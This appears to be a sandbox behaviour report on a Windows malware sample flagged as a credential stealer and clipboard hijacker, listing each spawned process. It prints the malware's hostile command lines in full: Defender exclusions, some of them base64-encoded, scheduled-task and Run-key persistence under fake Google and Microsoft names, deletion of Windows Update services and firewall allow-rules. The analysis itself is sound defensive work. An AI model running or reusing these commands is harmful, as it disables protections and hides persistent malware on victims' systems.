Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0x210000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conchsvt.exePID: 644, Parent PID: 3076

General

Target ID:	12
Start time:	06:44:30
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Microsoft\conchsvt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Microsoft\conchsvt.exe"
Imagebase:	0x370000
File size:	28672 bytes
MD5 hash:	68E3359674EE7D49550B09E7FF69DCCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 62%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: brave.exePID: 2360, Parent PID: 3076

General

Target ID:	13
Start time:	06:44:32
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Google\brave.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Google\brave.exe"
Imagebase:	0x7ff755e80000
File size:	2884608 bytes
MD5 hash:	9253ED091D81E076A3037E12AF3DC871
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 85%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3388, Parent PID: 644

General

Target ID:	14
Start time:	06:44:34
Start date:	05/12/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5132, Parent PID: 3388

General

Target ID:	15
Start time:	06:44:34
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5136, Parent PID: 3388

General

Target ID:	16
Start time:	06:44:34
Start date:	05/12/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Imagebase:	0x7ff6077f0000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conchsvt.exePID: 5124, Parent PID: 1080

General

Target ID:	17
Start time:	06:44:34
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Microsoft\conchsvt.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Microsoft\conchsvt.exe
Imagebase:	0x390000
File size:	28672 bytes
MD5 hash:	68E3359674EE7D49550B09E7FF69DCCE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5996, Parent PID: 2360

General

Target ID:	18
Start time:	06:44:35
Start date:	05/12/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff647bb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6016, Parent PID: 5996

General

Target ID:	19
Start time:	06:44:35
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6044, Parent PID: 5124

General

Target ID:	20
Start time:	06:44:36
Start date:	05/12/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 5340, Parent PID: 3076

General

Target ID:	21
Start time:	06:44:35
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\ofg.exe"
Imagebase:	0xf70000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 4852, Parent PID: 5340

General

Target ID:	22
Start time:	06:44:36
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcc0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 684, Parent PID: 4852

General

Target ID:	23
Start time:	06:44:37
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3176, Parent PID: 3076

General

Target ID:	24
Start time:	06:44:37
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\chrome.exe"
Imagebase:	0x9d0000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 65%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1264, Parent PID: 6044

General

Target ID:	25
Start time:	06:44:40
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 912, Parent PID: 1080

General

Target ID:	26
Start time:	06:44:39
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\ofg.exe
Imagebase:	0xf70000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5180, Parent PID: 912

General

Target ID:	28
Start time:	06:44:41
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcc0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 4228, Parent PID: 6044

General

Target ID:	29
Start time:	06:44:42
Start date:	05/12/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Imagebase:	0x7ff6077f0000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5032, Parent PID: 2360

General

Target ID:	30
Start time:	06:44:42
Start date:	05/12/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6068, Parent PID: 3176

General

Target ID:	31
Start time:	06:44:42
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Imagebase:	0x10d0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2096, Parent PID: 5180

General

Target ID:	32
Start time:	06:44:42
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6056, Parent PID: 2360

General

Target ID:	33
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 404, Parent PID: 5032

General

Target ID:	34
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 2560, Parent PID: 3176

General

Target ID:	35
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Imagebase:	0x10d0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5064, Parent PID: 6068

General

Target ID:	36
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4180, Parent PID: 6056

General

Target ID:	37
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 2312, Parent PID: 2360

General

Target ID:	38
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Imagebase:	0x7ff647bb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5236, Parent PID: 3176

General

Target ID:	39
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcc0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4956, Parent PID: 2560

General

Target ID:	40
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2416, Parent PID: 2312

General

Target ID:	41
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 4468, Parent PID: 5032

General

Target ID:	42
Start time:	06:44:43
Start date:	05/12/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff7f9b00000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5984, Parent PID: 5236

General

Target ID:	43
Start time:	06:44:44
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 2888, Parent PID: 6056

General

Target ID:	44
Start time:	06:44:44
Start date:	05/12/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7466c0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5612, Parent PID: 5032

General

Target ID:	45
Start time:	06:44:44
Start date:	05/12/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff7f9b00000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5736, Parent PID: 3176

General

Target ID:	46
Start time:	06:44:45
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Imagebase:	0xcc0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5916, Parent PID: 5736

General

Target ID:	47
Start time:	06:44:45
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 684, Parent PID: 3176

General

Target ID:	48
Start time:	06:44:46
Start date:	05/12/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0x1100000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 4768, Parent PID: 6056

General

Target ID:	49
Start time:	06:44:46
Start date:	05/12/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7466c0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4468, Parent PID: 1080

General

Target ID:	50
Start time:	06:44:46
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0x9d0000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 612, Parent PID: 5032

General

Target ID:	51
Start time:	06:44:47
Start date:	05/12/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff7f9b00000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 6032, Parent PID: 5032

General

Target ID:	52
Start time:	06:44:49
Start date:	05/12/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff7f9b00000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 5152, Parent PID: 6056

General

Target ID:	53
Start time:	06:44:49
Start date:	05/12/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff7466c0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2888, Parent PID: 3076

General

Target ID:	54
Start time:	06:44:55
Start date:	05/12/2022
Path:	C:\Users\user\AppData\Local\Temp\conhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\conhost.exe"
Imagebase:	0x1240000
File size:	5656064 bytes
MD5 hash:	95033406F9719A72E37AB1DC499BFF86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LaplasClipper, Description: Yara detected Laplas Clipper, Source: 00000036.00000002.587176669.000000000148C000.00000002.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 73%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 1784, Parent PID: 6056

General

Target ID:	55
Start time:	06:44:56
Start date:	05/12/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff7466c0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 6096, Parent PID: 5032

General

Target ID:	56
Start time:	06:44:56
Start date:	05/12/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff7f9b00000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 3092, Parent PID: 5032

General

Target ID:	57
Start time:	06:44:58
Start date:	05/12/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Imagebase:	0x7ff7c6860000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 5788, Parent PID: 684

General

Target ID:	58
Start time:	06:44:58
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Imagebase:	0x10f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5460, Parent PID: 5032

General

Target ID:	59
Start time:	06:44:59
Start date:	05/12/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Imagebase:	0x7ff7c6860000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 4108, Parent PID: 684

General

Target ID:	60
Start time:	06:44:59
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x10f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5796, Parent PID: 5788

General

Target ID:	61
Start time:	06:44:59
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 664, Parent PID: 684

General

Target ID:	62
Start time:	06:44:59
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
